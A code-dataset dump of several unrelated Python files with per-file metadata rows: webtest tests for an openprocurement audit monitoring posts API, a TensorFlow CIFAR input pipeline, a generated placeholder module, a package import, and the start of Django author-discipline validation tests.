tender_owner_token = response.json['access']['token']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet'
}})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
post_id = response.json['data']['id']
response = self.app.get('/monitorings/{}/posts/{}'.format(self.monitoring_id, post_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['title'], 'Lorem ipsum')
self.assertEqual(response.json['data']['description'], 'Lorem ipsum dolor sit amet')
self.assertEqual(response.json['data']['author'], 'tender_owner')
def test_monitoring_owner_answer_post_by_monitoring_owner(self):
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet'
}})
post_id = response.json['data']['id']
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {
'title': 'It’s a trap!',
'description': 'Enemy Ships in Sector 47!',
'relatedPost': post_id
}}, status=422)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(
('body', 'posts', 'relatedPost'),
next(get_errors_field_names(response, 'relatedPost can\'t have the same author.')))
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_monitoring_credentials_tender_owner(self, client_class_mock):
client_class_mock.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
self.assertIn("access", response.json)
self.assertIn("token", response.json["access"])
registry = self.app.app.registry
client_class_mock.assert_called_once_with(
registry.api_token,
host_url=registry.api_server,
api_version=registry.api_version,
)
client_class_mock.return_value.extract_credentials.assert_called_once_with(self.initial_data["tender_id"])
self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'another_token'),
status=403
)
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_monitoring_owner_answer_post_by_tender_owner(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet',
'documents': [{
'title': 'lorem.doc',
'url': self.generate_docservice_url(),
'hash': 'md5:' + '0' * 32,
'format': 'application/msword',
}]
}})
post_id = response.json['data']['id']
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
tender_owner_token = response.json['access']['token']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Gotcha',
'relatedPost': post_id
}})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
answer_id = response.json['data']['id']
response = self.app.get('/monitorings/{}/posts/{}'.format(self.monitoring_id, answer_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['title'], 'Lorem ipsum')
self.assertEqual(response.json['data']['description'], 'Gotcha')
self.assertEqual(response.json['data']['relatedPost'], post_id)
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_monitoring_owner_answer_post_by_tender_owner_multiple(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet',
'documents': [{
'title': 'lorem.doc',
'url': self.generate_docservice_url(),
'hash': 'md5:' + '0' * 32,
'format': 'application/msword',
}]
}})
post_id = response.json['data']['id']
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
tender_owner_token = response.json['access']['token']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Gotcha',
'relatedPost': post_id
}})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Gotcha',
'relatedPost': post_id
}}, status=422)
self.assertEqual(
('body', 'posts', 'relatedPost'),
next(get_errors_field_names(response, 'relatedPost must be unique.')))
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_monitoring_owner_answer_post_for_not_unique_id(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
with mock.patch('openprocurement.audit.monitoring.models.uuid4', mock.Mock(return_value=mock.Mock(hex='f'*32))):
self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet',
'documents': [{
'title': 'lorem.doc',
'url': self.generate_docservice_url(),
'hash': 'md5:' + '0' * 32,
'format': 'application/msword',
}]
}})
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet',
'documents': [{
'title': 'lorem.doc',
'url': self.generate_docservice_url(),
'hash': 'md5:' + '0' * 32,
'format': 'application/msword',
}]
}})
post_id = response.json['data']['id']
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
tender_owner_token = response.json['access']['token']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Gotcha',
'relatedPost': post_id
}}, status=422)
self.assertEqual(
('body', 'relatedPost'),
next(get_errors_field_names(response, 'relatedPost can\'t be a link to more than one post.')))
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_tender_owner_answer_post_by_monitoring_owner(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
tender_owner_token = response.json['access']['token']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'It\'s a trap!',
'description': 'Enemy Ships in Sector 47!',
}})
post_id = response.json['data']['id']
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id, post_id),
{'data': {
'title': 'It\'s a trap!',
'description': 'The Force will be with you. Always.',
'relatedPost': post_id
}}, status=201)
self.assertEqual(response.content_type, 'application/json')
answer_id = response.json['data']['id']
response = self.app.get('/monitorings/{}/posts/{}'.format(self.monitoring_id, answer_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['title'], 'It\'s a trap!')
self.assertEqual(response.json['data']['description'], 'The Force will be with you. Always.')
self.assertEqual(response.json['data']['relatedPost'], post_id)
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_tender_owner_answer_post_by_tender_owner(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
tender_owner_token = response.json['access']['token']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet'
}})
post_id = response.json['data']['id']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'It’s a trap!',
'description': 'The Force will be with you. Always.',
'relatedPost': post_id
}}, status=422)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(
('body', 'posts', 'relatedPost'),
next(get_errors_field_names(response, 'relatedPost can\'t have the same author.')))
def test_answer_to_non_existent_question(self):
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {
'title': 'Lorem ipsum',
'description': 'Gotcha',
'relatedPost': 'some_non_existent_id'
}}, status=422)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(
('body', 'relatedPost'),
next(get_errors_field_names(response, 'relatedPost should be one of posts of current monitoring.')))
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_two_answers_in_a_row(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
tender_owner_token = response.json['access']['token']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'It\'s a trap!',
'description': 'Enemy Ships in Sector 47!',
}})
post_id = response.json['data']['id']
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id, post_id),
{'data': {
'title': 'It\'s a trap!',
'description': 'The Force will be with you. Always.',
'relatedPost': post_id
}}, status=201)
self.assertEqual(response.content_type, 'application/json')
answer_id = response.json['data']['id']
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'It\'s a trap!',
'description': 'Enemy Ships in Sector 47!',
'relatedPost': answer_id
}}, status=422)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(
('body', 'relatedPost'),
next(get_errors_field_names(response, 'relatedPost can\'t be have relatedPost defined.')))
def test_dialogue_party_create(self):
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.post_json(
'/monitorings/{}/parties'.format(self.monitoring_id),
{'data': self.initial_party})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
party_id = response.json['data']['id']
response = self.app.get('/monitorings/{}/parties/{}'.format(self.monitoring_id, party_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['name'], "The State Audit Service of Ukraine",)
self.assertEqual(response.json['data']['roles'], ['sas'])
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{"data": {
"title": "Lorem ipsum",
"description": "Lorem ipsum dolor sit amet.",
"documents": [{
'title': 'ipsum.doc',
'url': self.generate_docservice_url(),
'hash': 'md5:' + '0' * 32,
'format': 'application/msword',
}],
"relatedParty": party_id
}}, status=201)
post_id = response.json['data']['id']
response = self.app.get('/monitorings/{}/posts/{}'.format(self.monitoring_id, post_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['relatedParty'], party_id)
def test_dialogue_party_create_party_id_not_exists(self):
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.post_json(
'/monitorings/{}/parties'.format(self.monitoring_id),
{'data': self.initial_party})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
party_id = response.json['data']['id']
response = self.app.get('/monitorings/{}/parties/{}'.format(self.monitoring_id, party_id))
self.assertEqual(response.status_code, 200)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['name'], "The State Audit Service of Ukraine",)
self.assertEqual(response.json['data']['roles'], ['sas'])
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{"data": {
"title": "Lorem ipsum",
"description": "Lorem ipsum dolor sit amet.",
"documents": [{
'title': 'ipsum.doc',
'url': self.generate_docservice_url(),
'hash': 'md5:' + '0' * 32,
'format': 'application/msword',
}],
"relatedParty": "Party with the devil"
}}, status=422)
self.assertEqual(response.status_code, 422)
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(
('body', 'relatedParty'),
next(get_errors_field_names(response, 'relatedParty should be one of parties.')))
@freeze_time('2018-01-01T12:00:00.000000+03:00')
class DeclinedMonitoringPostResourceTest(BaseWebTest, DSWebTestMixin):
def setUp(self):
super(DeclinedMonitoringPostResourceTest, self).setUp()
self.app.app.registry.docservice_url = 'http://localhost'
self.create_monitoring()
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
self.app.patch_json(
'/monitorings/{}'.format(self.monitoring_id),
{"data": {
"status": "active",
"decision": {
"date": "2015-05-10T23:11:39.720908+03:00",
"description": "text",
}
}})
self.app.patch_json(
'/monitorings/{}'.format(self.monitoring_id),
{"data": {
"conclusion": {
"violationOccurred": False,
},
"status": "declined",
}})
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_post_create_by_tender_owner(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
tender_owner_token = response.json['access']['token']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet'
}})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_post_answer_by_monitoring_owner(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
tender_owner_token = response.json['access']['token']
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet'
}})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
post_id = response.json['data']['id']
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet',
'relatedPost': post_id
}})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
@mock.patch('openprocurement.audit.monitoring.validation.TendersClient')
def test_post_create_by_tender_owner_multiple(self, mock_api_client):
mock_api_client.return_value.extract_credentials.return_value = {
'data': {'tender_token': sha512(b'tender_token').hexdigest()}
}
self.app.authorization = ('Basic', (self.broker_name, self.broker_pass))
response = self.app.patch_json(
'/monitorings/{}/credentials?acc_token={}'.format(self.monitoring_id, 'tender_token')
)
tender_owner_token = response.json['access']['token']
# add first
response = self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet'
}})
self.assertEqual(response.status_code, 201)
self.assertEqual(response.content_type, 'application/json')
post_id = response.json["data"]["id"]
# add second
self.app.post_json(
'/monitorings/{}/posts?acc_token={}'.format(self.monitoring_id, tender_owner_token),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet'
}}, status=403)
# add a document to the post
response = self.app.post_json(
'/monitorings/{}/posts/{}/documents?acc_token={}'.format(self.monitoring_id, post_id, tender_owner_token),
{'data': {
'title': 'ipsum.doc',
'url': self.generate_docservice_url(),
'hash': 'md5:' + '0' * 32,
'format': 'application/msword',
}})
self.assertEqual(response.status_code, 201)
def test_post_create_by_monitoring_owner(self):
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet'
}}, status=403)
self.assertEqual(response.status_code, 403)
@freeze_time('2018-01-20T12:00:00.000000+03:00')
def test_post_create_in_non_allowed_status(self):
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.patch_json(
'/monitorings/{}'.format(self.monitoring_id),
{'data': {
'status': 'closed',
}})
self.assertEqual(response.status_code, 200)
self.app.authorization = ('Basic', (self.sas_name, self.sas_pass))
response = self.app.post_json(
'/monitorings/{}/posts'.format(self.monitoring_id),
{'data': {
'title': 'Lorem ipsum',
'description': 'Lorem ipsum dolor sit amet'
}}, status=403)
self.assertEqual(response.status_code, 403)
self.assertEqual(
('body', 'data'),
next(get_errors_field_names(response, 'Can\'t add post in current closed monitoring status.'))
)
| 43.866216 | 120 | 0.585441 | 3,347 | 32,461 | 5.474156 | 0.064834 | 0.074501 | 0.09917 | 0.073245 | 0.912455 | 0.897391 | 0.86841 | 0.847669 | 0.845595 | 0.839373 | 0 | 0.016721 | 0.268568 | 32,461 | 739 | 121 | 43.925575 | 0.754959 | 0.004005 | 0 | 0.782677 | 0 | 0 | 0.231198 | 0.079788 | 0 | 0 | 0 | 0 | 0.152756 | 1 | 0.034646 | false | 0.040945 | 0.011024 | 0 | 0.048819 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
307be3d22331a92b5772db8c599a4cc81f16714c | 5,526 | py | Python | resnet/cifar_input.py | watsonyanghx/ResNet_TensorFlow | 93c3ecbc1632357bf68fc773597ea772d8bfc3e0 | [
"MIT"
] | 3 | 2017-04-29T08:12:38.000Z | 2017-09-17T17:47:11.000Z | resnet/cifar_input.py | watsonyanghx/ResNet_TensorFlow | 93c3ecbc1632357bf68fc773597ea772d8bfc3e0 | [
"MIT"
] | null | null | null | resnet/cifar_input.py | watsonyanghx/ResNet_TensorFlow | 93c3ecbc1632357bf68fc773597ea772d8bfc3e0 | [
"MIT"
] | null | null | null | """CIFAR dataset input module.
"""
import tensorflow as tf
def build_input(X, y, hps, mode):
"""Build image and labels.
Args:
X: Pathes of images.
e.g.
['/home/.../infer/1.png'
'/home/.../infer/2.png'
...,
'/home/.../infer/300000.png']
y: Image labels.
e.g.
[1 6 2 4 ... 7]
hps: Hyperparameters.
mode: Either 'train' or 'eval'.
Returns:
images: Batches of images. [batch_size, image_size, image_size, 3]
labels: Batches of labels. [batch_size, num_classes]
"""
batch_size = hps.batch_size
image_size = hps.image_size
depth = hps.depth
num_classes = hps.num_classes
# convert to tensor
X = tf.convert_to_tensor(X, dtype=tf.string)
y = tf.convert_to_tensor(y, dtype=tf.int32)
# Makes an input queue
input_queue = tf.train.slice_input_producer([X, y], shuffle=True)
image = tf.read_file(input_queue[0])
image = tf.image.decode_jpeg(image, channels=3)
image = tf.image.resize_images(image, [image_size, image_size])
# image = tf.cast(image, tf.uint8)
label = tf.reshape(input_queue[1], [1])
if mode == 'train':
image = tf.image.resize_image_with_crop_or_pad(image, image_size+4, image_size+4)
image = tf.random_crop(image, [image_size, image_size, 3])
image = tf.image.random_flip_left_right(image)
# Brightness/saturation/constrast provides small gains .2%~.5% on cifar.
image = tf.image.random_brightness(image, max_delta=63. / 255.)
image = tf.image.random_saturation(image, lower=0.5, upper=1.5)
image = tf.image.random_contrast(image, lower=0.2, upper=1.8)
image = tf.image.per_image_standardization(image)
example_queue = tf.RandomShuffleQueue(
capacity=16 * batch_size,
min_after_dequeue=8 * batch_size,
dtypes=[tf.float32, tf.int32],
shapes=[[image_size, image_size, depth], [1]])
num_threads = 16
else:
image = tf.image.resize_image_with_crop_or_pad(image, image_size, image_size)
image = tf.image.per_image_standardization(image)
example_queue = tf.FIFOQueue(
3 * batch_size,
dtypes=[tf.float32, tf.int32],
shapes=[[image_size, image_size, depth], [1]])
num_threads = 1
example_enqueue_op = example_queue.enqueue([image, label])
tf.train.add_queue_runner(tf.train.queue_runner.QueueRunner(
example_queue, [example_enqueue_op] * num_threads))
# Read 'batch' labels + images from the example queue.
images, labels = example_queue.dequeue_many(batch_size)
labels = tf.reshape(labels, [batch_size, 1])
indices = tf.reshape(tf.range(0, batch_size, 1), [batch_size, 1])
labels = tf.sparse_to_dense(
tf.concat(values=[indices, labels], axis=1),
[batch_size, num_classes], 1.0, 0.0)
assert len(images.get_shape()) == 4
assert images.get_shape()[0] == batch_size
assert images.get_shape()[-1] == 3
assert len(labels.get_shape()) == 2
assert labels.get_shape()[0] == batch_size
assert labels.get_shape()[1] == num_classes
# Display the training images in the visualizer.
tf.summary.image('images', images)
return images, labels
def build_infer_input(X, y, hps):
'''
Args:
X: Pathes of Images.
e.g.
['/home/.../infer/1.png'
'/home/.../infer/2.png'
...,
'/home/.../infer/300000.png']
y: Image labels.
e.g.
[1 6 2 4 ... 7]
hps: Hyperparameters.
Returns:
images: Batches of images. [batch_size, image_size, image_size, 3]
labels: Batches of labels. [batch_size, num_classes]
'''
batch_size = hps.batch_size
image_size = hps.image_size
depth = hps.depth
num_classes = hps.num_classes
X = tf.convert_to_tensor(X, dtype=tf.string)
y = tf.convert_to_tensor(y, dtype=tf.int32)
# Makes an input queue
input_queue = tf.train.slice_input_producer([X, y], shuffle=False)
image = tf.read_file(input_queue[0])
image = tf.image.decode_jpeg(image, channels=3)
label = tf.reshape(input_queue[1], [1])
image = tf.image.resize_image_with_crop_or_pad(image, image_size, image_size)
image = tf.image.per_image_standardization(image)
example_queue = tf.FIFOQueue(
3 * batch_size,
dtypes=[tf.float32, tf.int32],
shapes=[[image_size, image_size, depth], [1]])
num_threads = 1
example_enqueue_op = example_queue.enqueue([image, label])
tf.train.add_queue_runner(tf.train.queue_runner.QueueRunner(
example_queue, [example_enqueue_op] * num_threads))
# Read 'batch' labels + images from the example queue.
images, labels = example_queue.dequeue_many(batch_size)
labels = tf.reshape(labels, [batch_size, 1])
indices = tf.reshape(tf.range(0, batch_size, 1), [batch_size, 1])
labels = tf.sparse_to_dense(
tf.concat(values=[indices, labels], axis=1),
[batch_size, num_classes], 1.0, 0.0)
assert len(images.get_shape()) == 4
assert images.get_shape()[0] == batch_size
assert images.get_shape()[-1] == 3
assert len(labels.get_shape()) == 2
assert labels.get_shape()[0] == batch_size
assert labels.get_shape()[1] == num_classes
return images, labels
| 33.90184 | 89 | 0.621969 | 758 | 5,526 | 4.319261 | 0.176781 | 0.071472 | 0.051619 | 0.049481 | 0.810324 | 0.802993 | 0.802993 | 0.777947 | 0.777947 | 0.777947 | 0 | 0.027731 | 0.249548 | 5,526 | 162 | 90 | 34.111111 | 0.761755 | 0.222584 | 0 | 0.77907 | 0 | 0 | 0.002665 | 0 | 0 | 0 | 0 | 0 | 0.139535 | 1 | 0.023256 | false | 0 | 0.011628 | 0 | 0.05814 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
064201dc89259aa18d8b05d6c4f6c2f185b49335 | 128 | py | Python | python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_0/_pkg1_0_1/_pkg1_0_1_1/_pkg1_0_1_1_0/_mod1_0_1_1_0_4.py | jnthn/intellij-community | 8fa7c8a3ace62400c838e0d5926a7be106aa8557 | [
"Apache-2.0"
] | 2 | 2019-04-28T07:48:50.000Z | 2020-12-11T14:18:08.000Z | python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_0/_pkg1_0_1/_pkg1_0_1_1/_pkg1_0_1_1_0/_mod1_0_1_1_0_4.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 173 | 2018-07-05T13:59:39.000Z | 2018-08-09T01:12:03.000Z | python/testData/completion/heavyStarPropagation/lib/_pkg1/_pkg1_0/_pkg1_0_1/_pkg1_0_1_1/_pkg1_0_1_1_0/_mod1_0_1_1_0_4.py | Cyril-lamirand/intellij-community | 60ab6c61b82fc761dd68363eca7d9d69663cfa39 | [
"Apache-2.0"
] | 2 | 2020-03-15T08:57:37.000Z | 2020-04-07T04:48:14.000Z | name1_0_1_1_0_4_0 = None
name1_0_1_1_0_4_1 = None
name1_0_1_1_0_4_2 = None
name1_0_1_1_0_4_3 = None
name1_0_1_1_0_4_4 = None | 14.222222 | 24 | 0.820313 | 40 | 128 | 1.875 | 0.175 | 0.4 | 0.466667 | 0.533333 | 0.88 | 0.88 | 0.746667 | 0 | 0 | 0 | 0 | 0.318182 | 0.140625 | 128 | 9 | 25 | 14.222222 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
064e66ffe3701b5728ebdc43f2450b51cda11bc4 | 81 | py | Python | graph_transformer_pytorch/__init__.py | tachim/graph-transformer-pytorch | 282130d2b0b62f38dae9dedf26c5575bbe47a963 | [
"MIT"
] | 70 | 2021-06-18T22:40:51.000Z | 2022-03-31T08:58:56.000Z | graph_transformer_pytorch/__init__.py | tachim/graph-transformer-pytorch | 282130d2b0b62f38dae9dedf26c5575bbe47a963 | [
"MIT"
] | 2 | 2021-10-17T08:52:23.000Z | 2022-01-13T04:31:54.000Z | graph_transformer_pytorch/__init__.py | tachim/graph-transformer-pytorch | 282130d2b0b62f38dae9dedf26c5575bbe47a963 | [
"MIT"
] | 5 | 2021-06-19T01:23:05.000Z | 2022-01-13T16:03:35.000Z | from graph_transformer_pytorch.graph_transformer_pytorch import GraphTransformer
| 40.5 | 80 | 0.938272 | 9 | 81 | 8 | 0.666667 | 0.444444 | 0.638889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.049383 | 81 | 1 | 81 | 81 | 0.935065 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
2366e69013e69cf2d73f889ee92ddf5e20f2f956 | 10,670 | py | Python | src/bpp/tests/test_models/test_autor_dyscyplina.py | iplweb/django-bpp | 85f183a99d8d5027ae4772efac1e4a9f21675849 | [
"BSD-3-Clause"
] | 1 | 2017-04-27T19:50:02.000Z | 2017-04-27T19:50:02.000Z | src/bpp/tests/test_models/test_autor_dyscyplina.py | mpasternak/django-bpp | 434338821d5ad1aaee598f6327151aba0af66f5e | [
"BSD-3-Clause"
] | 41 | 2019-11-07T00:07:02.000Z | 2022-02-27T22:09:39.000Z | src/bpp/tests/test_models/test_autor_dyscyplina.py | iplweb/bpp | f027415cc3faf1ca79082bf7bacd4be35b1a6fdf | [
"BSD-3-Clause"
] | null | null | null | import pytest
from denorm.models import DirtyInstance
from django.core.exceptions import ValidationError
from django.db import InternalError
from bpp.models import Autor_Dyscyplina
def test_autor_dyscyplina_save_ta_sama_clean(
autor_jan_kowalski, dyscyplina1, dyscyplina2, rok
):
"""Sprawdź funkcjonowanie triggera bazodanowego przy wrzuceniu tej samej
dyscypliny do Autor_Dyscyplina (czyli nie 'save' tylko testujemy trigger
po stronie bazy danych)."""
ad = Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
subdyscyplina_naukowa=dyscyplina2,
)
ad.subdyscyplina_naukowa = dyscyplina1
with pytest.raises(ValidationError):
ad.clean()
def test_autor_dyscyplina_save_str(autor_jan_kowalski, dyscyplina1, dyscyplina2, rok):
ad = Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
subdyscyplina_naukowa=dyscyplina2,
)
assert "Kowalski" in str(ad)
def test_autor_dyscyplina_save_ta_sama_clean_nie_wpisano(
autor_jan_kowalski, dyscyplina1, dyscyplina2, rok
):
"""Sprawdź funkcjonowanie funkcji 'clean' gdy nie wpisano dyscypliny"""
ad = Autor_Dyscyplina(
rok=rok,
autor=autor_jan_kowalski,
